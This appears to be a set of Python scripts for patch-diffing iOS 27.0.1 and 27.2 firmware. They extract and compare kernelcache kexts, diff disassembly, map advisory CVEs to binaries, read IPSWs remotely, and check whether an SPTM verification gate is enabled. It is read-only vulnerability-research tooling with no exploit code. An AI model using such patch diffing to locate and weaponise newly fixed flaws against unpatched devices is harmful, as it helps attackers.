a, ra = load(a_ipsw, a_mem)
print("== extracting", b_mem)
b, rb = load(b_ipsw, b_mem)
def index(rows):
by_bid = {}
no_bid = []
for r in rows:
if r["bid"]:
by_bid.setdefault(r["bid"], []).append(r)
else:
no_bid.append(r)
return by_bid, no_bid
ia, na = index(ra)
ib, nb = index(rb)
changed, added, removed, same = [], [], [], []
for bid in sorted(set(ia) | set(ib)):
la = ia.get(bid, [])
lb = ib.get(bid, [])
if la and lb:
# pair in order; usually one Mach-O per kext
for x, y in zip(la, lb):
if x["uuid"] == y["uuid"] and x["text_sha"] == y["text_sha"]:
same.append(bid)
else:
changed.append((bid, x, y))
elif la:
removed += [bid]
else:
added += [bid]
lines = []
lines.append(f"kexts: a={len(ra)} b={len(rb)} same={len(same)} changed={len(changed)} added={len(added)} removed={len(removed)}")
lines.append("")
for bid, x, y in changed:
lines.append(f"CHANGED {bid}: uuid {x['uuid']} -> {y['uuid']} text {x['text_size']} -> {y['text_size']} funcs {x['nfuncs']} -> {y['nfuncs']}")
for bid in added:
lines.append(f"ADDED {bid}")
for bid in removed:
lines.append(f"REMOVED {bid}")
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
print("\n".join(lines[:80]))
# string + function diff for changed kexts
for bid, x, y in changed:
ma = x["_m"]
mb = y["_m"]
sa = set(ascii_strings(ma.text_bytes(), 8))
sb = set(ascii_strings(mb.text_bytes(), 8))
new = sorted(sb - sa)
gone = sorted(sa - sb)
safe = bid.replace("/", "_")
with open(os.path.join(outdir, f"strings-{safe}.txt"), "w") as f:
f.write(f"# {bid}\n## new strings ({len(new)})\n")
for s in new[:400]:
f.write(s + "\n")
f.write(f"\n## removed strings ({len(gone)})\n")
for s in gone[:200]:
f.write(s + "\n")
fa = func_hashes(ma)
fb = func_hashes(mb)
changed_funcs = sum(1 for p, q in zip(fa, fb) if p[1] != q[1])
lines.append(f" {bid}: functions {len(fa)} -> {len(fb)}, hash-changed in common prefix {changed_funcs}")
open(os.path.join(outdir, "changed.txt"), "w").write("\n".join(lines) + "\n")
json.dump([
{"bid": bid, "a": {k: v for k, v in x.items() if not k.startswith("_")},
"b": {k: v for k, v in y.items() if not k.startswith("_")}}
for bid, x, y in changed
], open(os.path.join(outdir, "kexts-changed.json"), "w"), indent=1)
print("wrote", outdir)
if __name__ == "__main__":
main()
+54
View File
@@ -0,0 +1,54 @@
#!/usr/bin/env python3
"""Disassembly diff for two standalone Mach-O kexts (same bundle id, two builds).
Usage: python3 disasm_diff.py <a.macho> <b.macho> [max_lines]
Normalizes branch targets and absolute addresses so the diff shows real
instruction changes rather than layout noise.
"""
import difflib
import re
import subprocess
import sys
ADDR = re.compile(r"\b[0-9a-f]{8,16}\b")
def disasm(path):
p = subprocess.run(["xcrun", "llvm-objdump", "--disassemble", path],
capture_output=True, text=True)
lines = []
for line in p.stdout.splitlines():
m = re.match(r"^\s*([0-9a-f]{8,16}):\s+([0-9a-f ]+?)\s{2,}(\S.*)$", line)
if not m:
continue
ins = m.group(3).strip()
ins = re.sub(r"0x[0-9a-f]{6,}", "0xADDR", ins)
ins = re.sub(r"#0x[0-9a-f]{4,}", "#0xIMM", ins)
lines.append(ins)
return lines
def main():
a, b = sys.argv[1], sys.argv[2]
limit = int(sys.argv[3]) if len(sys.argv) > 3 else 400
la, lb = disasm(a), disasm(b)
print(f"# {a}: {len(la)} insns")
print(f"# {b}: {len(lb)} insns")
sm = difflib.SequenceMatcher(a=la, b=lb, autojunk=False)
shown = 0
for tag, i1, i2, j1, j2 in sm.get_opcodes():
if tag == "equal":
continue
if shown >= limit:
print("... truncated")
break
print(f"\n## {tag} a[{i1}:{i2}] b[{j1}:{j2}]")
for x in la[i1:i2][:14]:
print(" - " + x)
for x in lb[j1:j2][:14]:
print(" + " + x)
shown += 1
if __name__ == "__main__":
main()
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env python3
"""Extract one fileset entry (kext) from a kernelcache into a standalone Mach-O.
Usage: python3 extract_kext.py <kernel> <entries.json> <bundle-id> <out.macho>
"""
import json
import os
import struct
import sys
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
import ipswlib
LC_SEGMENT_64 = 0x19
def extract(data, off, out):
m = ipswlib.MachO(data, off)
end = 32 + m.sizeofcmds
for s in m.segments:
base = s["fileoff"] if s["fileoff"] >= off else off + s["fileoff"]
end = max(end, base + s["filesize"])
blob = bytearray(data[off:end])
o = 32
for _ in range(m.ncmds):
cmd, cmdsize = struct.unpack_from("<II", blob, o)
if cmd == LC_SEGMENT_64:
# segment_command_64: cmd8 cmdsize8 segname16 vmaddr8 vmsize8 fileoff8 ...
fileoff = struct.unpack_from("<Q", blob, o + 40)[0]
if fileoff >= off:
struct.pack_into("<Q", blob, o + 40, fileoff - off)
nsects = struct.unpack_from("<I", blob, o + 64)[0]
so = o + 72
for _s in range(nsects):
soff = struct.unpack_from("<I", blob, so + 48)[0]
if soff >= off:
struct.pack_into("<I", blob, so + 48, soff - off)
so += 80
elif cmd == 0x2: # LC_SYMTAB
for f in (8, 16):
v = struct.unpack_from("<I", blob, o + f)[0]
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
elif cmd == 0xb: # LC_DYSYMTAB
for f in (32, 40, 48, 56, 64, 72):
v = struct.unpack_from("<I", blob, o + f)[0]
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
elif cmd in (0x22, 0x80000022): # LC_DYLD_INFO / _ONLY
for f in (8, 16, 24, 32, 40):
v = struct.unpack_from("<I", blob, o + f)[0]
if v >= off: struct.pack_into("<I", blob, o + f, v - off)
elif cmd in (0x26, 0x1d, 0x80000033, 0x80000034): # FUNCTION_STARTS, CODE_SIG, EXPORTS_TRIE, CHAINED_FIXUPS
v = struct.unpack_from("<I", blob, o + 8)[0]
if v >= off: struct.pack_into("<I", blob, o + 8, v - off)
o += cmdsize
with open(out, "wb") as f:
f.write(blob)
return len(blob)
if __name__ == "__main__":
kernel, entries, bid, out = sys.argv[1:5]
data = open(kernel, "rb").read()
table = {n: o for n, o, v in json.load(open(entries))}
n = extract(data, table[bid], out)
print("wrote", out, n, "bytes")
+245
View File
@@ -0,0 +1,245 @@
#!/usr/bin/env python3
"""Minimal IPSW / IM4P / Mach-O toolkit for the 27.0.1 vs 27.2 kernel diff.
No external ipsw binary is available on this host, so this implements the pieces
needed for the kernelcache comparison:
* IM4P container parse + LZFSE payload decode
* embedded Mach-O (kext) scan inside a prelinked kernelcache
* UUID / segment / function-start extraction
* function-level hashing and a two-build diff
Only reads files; nothing here writes to a device.
"""
import hashlib
import os
import struct
import sys
import zipfile
try:
import lzfse
except ImportError:
lzfse = None
# ── IM4P ────────────────────────────────────────────────────────────────────
def im4p_payload(data: bytes) -> bytes:
if data[:4] != b"IM4P":
return data
# magic(4) type(4) header_len(4 BE) header payload
hlen = struct.unpack(">I", data[8:12])[0]
return data[12 + hlen:]
def decompress(payload: bytes) -> bytes:
# LZFSE streams start with bvx2 / bvx- / bvx$
for magic in (b"bvx2", b"bvx-", b"bvx$"):
i = payload.find(magic)
if i >= 0:
if lzfse is None:
raise RuntimeError("lzfse module missing")
return lzfse.decompress(payload[i:])
if payload[:2] == b"\x1f\x8b":
import gzip
return gzip.decompress(payload)
return payload
def read_kernelcache(ipsw_path: str, member: str) -> bytes:
with zipfile.ZipFile(ipsw_path) as z:
raw = z.read(member)
return decompress(im4p_payload(raw))
# ── Mach-O ──────────────────────────────────────────────────────────────────
MH_MAGIC_64 = 0xFEEDFACF
LC_SEGMENT_64 = 0x19
LC_SYMTAB = 0x2
LC_UUID = 0x1B
LC_FUNCTION_STARTS = 0x26
LC_UNIXTHREAD = 0x5
CPU_NAMES = {0x0100000C: "arm64", 0x0100000C | 0x02000000: "arm64e"}
class MachO:
def __init__(self, data: bytes, off: int = 0):
self.data = data
self.off = off
magic, cputype, cpusub, filetype, ncmds, sizeofcmds, flags, _ = struct.unpack_from(
"<IiiIIIII", data, off)
if magic != MH_MAGIC_64:
raise ValueError("not a 64-bit Mach-O")
self.magic = magic
self.cputype = cputype
self.cpusub = cpusub
self.filetype = filetype
self.ncmds = ncmds
self.sizeofcmds = sizeofcmds
self.flags = flags
self.segments = []
self.uuid = None
self.function_starts = None
self.symtab = None
self._parse_commands()
def _parse_commands(self):
o = self.off + 32
for _ in range(self.ncmds):
cmd, cmdsize = struct.unpack_from("<II", self.data, o)
if cmdsize < 8:
break
if cmd == LC_SEGMENT_64:
name = self.data[o + 8:o + 24].split(b"\0")[0].decode("ascii", "replace")
vmaddr, vmsize, fileoff, filesize = struct.unpack_from("<QQQQ", self.data, o + 24)
maxprot, initprot, nsects, flags = struct.unpack_from("<IIII", self.data, o + 56)
seg = {
"name": name, "vmaddr": vmaddr, "vmsize": vmsize,
"fileoff": fileoff, "filesize": filesize,
"maxprot": maxprot, "initprot": initprot, "nsects": nsects,
"sections": [],
}
so = o + 72
for _s in range(nsects):
sect = self.data[so:so + 16].split(b"\0")[0].decode("ascii", "replace")
segn = self.data[so + 16:so + 32].split(b"\0")[0].decode("ascii", "replace")
addr, size, offset = struct.unpack_from("<QQI", self.data, so + 32)
seg["sections"].append({"seg": segn, "sect": sect, "addr": addr,
"size": size, "offset": offset})
so += 80
self.segments.append(seg)
elif cmd == LC_UUID:
self.uuid = self.data[o + 8:o + 24].hex()
elif cmd == LC_FUNCTION_STARTS:
dataoff, datasize = struct.unpack_from("<II", self.data, o + 8)
self.function_starts = (dataoff, datasize)
elif cmd == LC_SYMTAB:
symoff, nsyms, stroff, strsize = struct.unpack_from("<IIII", self.data, o + 8)
self.symtab = (symoff, nsyms, stroff, strsize)
o += cmdsize
def text_segment(self):
for s in self.segments:
if s["name"] == "__TEXT_EXEC":
return s
for s in self.segments:
if s["name"] == "__TEXT":
return s
return None
def function_offsets(self):
"""Absolute file offsets of function starts, decoded from LC_FUNCTION_STARTS."""
if not self.function_starts:
return []
dataoff, datasize = self.function_starts
base = self.off + dataoff
end = base + datasize
text = self.text_segment()
if text is None:
return []
# LC_FUNCTION_STARTS dataoff is relative to the Mach-O header (linkedit).
addr = text["vmaddr"]
out = []
p = base
while p < end and self.data[p] != 0:
delta = 0
shift = 0
while True:
b = self.data[p]
p += 1
delta |= (b & 0x7F) << shift
shift += 7
if not (b & 0x80):
break
addr += delta
out.append(addr)
return out
def _file_base(self, s):
# In a MH_FILESET, segment fileoffs are absolute in the container; in a
# standalone Mach-O they are relative to the header (which sits at self.off).
return s["fileoff"] if s["fileoff"] >= self.off else self.off + s["fileoff"]
def vm_to_file(self, addr, seg=None):
for s in self.segments:
if s["vmaddr"] <= addr < s["vmaddr"] + s["vmsize"]:
return self._file_base(s) + (addr - s["vmaddr"])
return None
def cstring_bytes(self):
out = bytearray()
for seg in self.segments:
for sec in seg.get("sections", []):
if sec["sect"] in ("__cstring", "__oslogstring"):
base = sec["offset"] if sec["offset"] >= self.off else self.off + sec["offset"]
out += self.data[base: base + sec["size"]]
out += b"\0"
return bytes(out)
def text_bytes(self):
t = self.text_segment()
if not t:
return b""
base = self._file_base(t)
return self.data[base: base + t["filesize"]]
def scan_machos(data: bytes, limit=20000):
"""Scan a prelinked kernelcache for embedded Mach-O headers (page aligned)."""
out = []
off = 0
n = len(data)
while off + 32 <= n and len(out) < limit:
if data[off:off + 4] == b"\xcf\xfa\xed\xfe":
try:
m = MachO(data, off)
out.append(m)
except Exception:
pass
off += 0x1000 # kexts are page aligned
return out
def macho_summary(m: MachO) -> dict:
text = m.text_bytes()
return {
"off": m.off,
"cpu": CPU_NAMES.get(m.cputype, hex(m.cputype)),
"sub": m.cpusub,
"filetype": m.filetype,
"uuid": m.uuid,
"text_size": len(text),
"text_sha256": hashlib.sha256(text).hexdigest()[:16],
"segments": [(s["name"], s["vmsize"]) for s in m.segments if s["name"].startswith("__")],
"nfuncs": len(m.function_offsets()) if m.function_starts else 0,
}
if __name__ == "__main__":
cmd = sys.argv[1] if len(sys.argv) > 1 else ""
if cmd == "list":
with zipfile.ZipFile(sys.argv[2]) as z:
for i in z.infolist():
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
print(i.filename, i.file_size)
elif cmd == "kernel":
data = read_kernelcache(sys.argv[2], sys.argv[3])
print("kernelcache bytes", len(data), "sha256", hashlib.sha256(data).hexdigest()[:16])
ms = scan_machos(data)
print("embedded Mach-Os:", len(ms))
for m in ms[:10]:
print(macho_summary(m))
else:
print("usage: ipswlib.py list <ipsw> | kernel <ipsw> <member>")
def dump_macho(m: MachO, path: str) -> int:
"""Write the Mach-O image (header through the last segment's file extent)."""
end = 32 + m.sizeofcmds
for s in m.segments:
end = max(end, s["fileoff"] + s["filesize"])
blob = m.data[m.off:m.off + end]
with open(path, "wb") as f:
f.write(blob)
return len(blob)
+99
View File
@@ -0,0 +1,99 @@
#!/usr/bin/env python3
"""Map the iOS 27.2 advisory entries to binary candidates and emit a report skeleton.
Usage: python3 map_advisory.py <advisory.json> <out.md>
The mapping is a heuristic name table; it is refined later by the actual kext and
dylib inventory extracted from the IPSWs.
"""
import json
import sys
# component -> (kind, candidate binary / kext)
MAP = {
"Kernel": ("kernel", "kernelcache core (pmap/ipc/vm/bsd)"),
"AVEVideoEncoder": ("kernel+user", "com.apple.driver.AppleAVE2 / VideoToolbox AVE plugin"),
"Apple Neural Engine": ("kernel+user", "AppleH16ANEInterface / AppleNeuralEngine.framework"),
"IOKit": ("kernel+user", "IOKit.framework / IOKit kexts"),
"IOHIDFamily": ("kernel", "com.apple.iokit.IOHIDFamily"),
"IOStorageFamily": ("kernel", "com.apple.iokit.IOStorageFamily"),
"IOMobileFrameBuffer": ("kernel", "com.apple.driver.IOMobileFrameBuffer"),
"IOSurface": ("kernel+user", "IOSurface.framework / IOSurface kext"),
"HFS": ("kernel", "com.apple.filesystems.hfs.kext"),
"Compression": ("user", "libcompression.dylib"),
"CoreMedia": ("user", "CoreMedia.framework / mediaplaybackd"),
"CoreGraphics": ("user", "CoreGraphics.framework"),
"CoreText": ("user", "CoreText.framework"),
"CoreAudio": ("user", "CoreAudio.framework / AudioToolbox"),
"Audio": ("user", "AudioToolbox / AudioCodecs"),
"ImageIO": ("user", "ImageIO.framework"),
"FontParser": ("user", "FontParser.framework"),
"libarchive": ("user", "libarchive.2.dylib"),
"LinkPresentation": ("user", "LinkPresentation.framework"),
"WebKit": ("user", "JavaScriptCore / WebKit / WebCore"),
"WebKit Canvas": ("user", "WebCore (canvas)"),
"WebKit JavaScript Bindings": ("user", "JavaScriptCore bindings"),
"WebKit Process Model": ("user", "WebKit process model"),
"WebRTC": ("user", "WebRTC.framework"),
"Security": ("user", "Security.framework"),
"Wi-Fi": ("user+kernel", "WiFi frameworks / IO80211 kext"),
"USB": ("kernel", "USB kexts"),
"Power Management": ("kernel", "com.apple.driver.AppleARMPlatform / PM kexts"),
"Bluetooth": ("user+kernel", "Bluetooth.framework / IOBluetooth kexts"),
"mDNSResponder": ("user", "mDNSResponder"),
"Thread": ("user", "ThreadNetwork.framework"),
"MobileGestalt": ("user", "MobileGestalt"),
"SpringBoard": ("user", "SpringBoard"),
"Messages": ("user", "Messages / IMSharedUtilities"),
"Mail": ("user", "Mail"),
"Maps": ("user", "Maps"),
"Photos Storage": ("user", "Photos"),
"Spotlight": ("user", "Spotlight"),
"Siri": ("user", "Siri"),
"Shortcuts": ("user", "Shortcuts"),
"HomeKit": ("user", "HomeKit"),
"CloudKit": ("user", "CloudKit"),
"Contacts": ("user", "Contacts"),
"Calendar": ("user", "CalendarFoundation"),
"App Store": ("user", "AppStore"),
"App Intents": ("user", "AppIntents"),
"Apple Intelligence": ("user", "AppleIntelligence"),
"AccessorySetupKit": ("user", "AccessorySetupKit"),
"Accounts": ("user", "Accounts"),
"FileProvider": ("user", "FileProvider"),
"Files": ("user", "Files"),
"Heimdal": ("user", "Heimdal (Kerberos)"),
"MediaAnalysis": ("user", "MediaAnalysis"),
"MediaRemote": ("user", "MediaRemote"),
"Quick Look": ("user", "QuickLook"),
"RealityKit": ("user", "RealityKit"),
"ReplayKit": ("user", "ReplayKit"),
"Safety Check": ("user", "SafetyCheck"),
"SceneKit": ("user", "SceneKit"),
"Screen Time": ("user", "ScreenTime"),
"SwiftUI": ("user", "SwiftUI"),
"System Preferences": ("user", "SystemPreferences"),
"TextKit": ("user", "TextKit"),
"Accelerate Framework": ("user", "Accelerate"),
"ColorSync": ("user", "ColorSync"),
}
def main():
rows = json.load(open(sys.argv[1]))
out = sys.argv[2]
lines = ["# iOS 27.2 advisory — component → binary map", ""]
lines.append(f"Entries: {len(rows)} Components: {len(set(r['component'] for r in rows))}")
lines.append("")
lines.append("| CVE | Component | Impact | Binary candidate |")
lines.append("|---|---|---|---|")
for r in sorted(rows, key=lambda x: (x["component"], x["cve"])):
kind, cand = MAP.get(r["component"], ("unknown", "?"))
lines.append(f"| {r['cve']} | {r['component']} | {r['impact'][:70]} | {cand} |")
open(out, "w").write("\n".join(lines) + "\n")
print("wrote", out, len(rows), "entries")
missing = sorted(set(r["component"] for r in rows) - set(MAP))
print("unmapped components:", missing)
if __name__ == "__main__":
main()
+95
View File
@@ -0,0 +1,95 @@
#!/usr/bin/env python3
"""Remote ZIP reader over HTTP Range, so the kernelcache can be inspected before the
full IPSW finishes downloading.
Usage:
python3 remote_ipsw.py list <url>
python3 remote_ipsw.py extract <url> <member-substring> <out>
"""
import io
import sys
import urllib.request
import zipfile
class HTTPRangeFile(io.RawIOBase):
def __init__(self, url, block=4 << 20):
self.url = url
self.pos = 0
self.block = block
self.cache = {}
req = urllib.request.Request(url, method="HEAD")
with urllib.request.urlopen(req) as r:
self.size = int(r.headers["Content-Length"])
self.ranges = r.headers.get("Accept-Ranges", "").lower() == "bytes"
def seekable(self): return True
def readable(self): return True
def tell(self): return self.pos
def seek(self, off, whence=0):
if whence == 0: self.pos = off
elif whence == 1: self.pos += off
else: self.pos = self.size + off
return self.pos
def _fetch(self, start, end):
key = (start // self.block) * self.block
if key in self.cache:
return self.cache[key]
stop = min(self.size - 1, key + self.block - 1)
req = urllib.request.Request(self.url, headers={"Range": f"bytes={key}-{stop}"})
with urllib.request.urlopen(req) as r:
data = r.read()
self.cache[key] = data
if len(self.cache) > 8:
self.cache.pop(next(iter(self.cache)))
return data
def read(self, n=-1):
if n is None or n < 0:
n = self.size - self.pos
if n == 0 or self.pos >= self.size:
return b""
out = bytearray()
while n > 0 and self.pos < self.size:
block = self._fetch(self.pos, self.pos)
base = (self.pos // self.block) * self.block
off = self.pos - base
take = min(n, len(block) - off)
if take <= 0:
break
out += block[off:off + take]
self.pos += take
n -= take
return bytes(out)
def main():
cmd, url = sys.argv[1], sys.argv[2]
f = HTTPRangeFile(url)
print("size", f.size, "range", f.ranges)
z = zipfile.ZipFile(f)
if cmd == "list":
for i in z.infolist():
if any(k in i.filename for k in ("kernelcache", "dyld_shared_cache", "BuildManifest")):
print(i.filename, i.file_size, i.compress_type)
elif cmd == "extract":
pat, out = sys.argv[3], sys.argv[4]
names = [i.filename for i in z.infolist() if pat in i.filename and not i.is_dir()]
print("matches:", names[:10], "count", len(names))
if not names:
return
name = names[0]
with z.open(name) as src, open(out, "wb") as dst:
while True:
chunk = src.read(8 << 20)
if not chunk: break
dst.write(chunk)
print("wrote", out)
else:
print("usage: list|extract")
if __name__ == "__main__":
main()
+37
View File
@@ -0,0 +1,37 @@
#!/usr/bin/env python3
"""Check whether an IPSW's SPTM TLBI verification gate is enabled for a device.
Usage: python3 sptm_gate.py <sptm.bin> <devicetree.bin>
Both inputs are decoded Mach-O/IM4P payloads (see remote_ipsw.py + ipswlib.py).
Background: SPTM 27.2 parses /arm-io/sgx and looks up
verify-gmmu-tlbis-at-sync. If the property is missing it sets the verify flag
to 0 (0xfffffff0270cc18c: strb wzr,[x22,#0x81]) and the GMMU TLBI completion
check is skipped. This script reports whether the gate is present in the DT.
"""
import sys
KEYS = [
b"verify-gmmu-tlbis-at-sync",
b"gmmu-tlbi-verification-reg",
b"gmmu-tlbi-verification-bit",
]
def main():
sptm = open(sys.argv[1], "rb").read()
dt = open(sys.argv[2], "rb").read()
print("SPTM strings:")
for k in KEYS:
print(f" {k.decode():32} {'present' if k in sptm else 'absent'}")
print("DeviceTree gate:")
for k in KEYS:
print(f" {k.decode():32} {'present' if k in dt else 'absent'}")
gate = all(k in dt for k in KEYS)
print()
print("VERDICT:", "gate ENABLED" if gate else "gate DISABLED (SPTM check will be skipped)")
return 0 if gate else 1
if __name__ == "__main__":
sys.exit(main())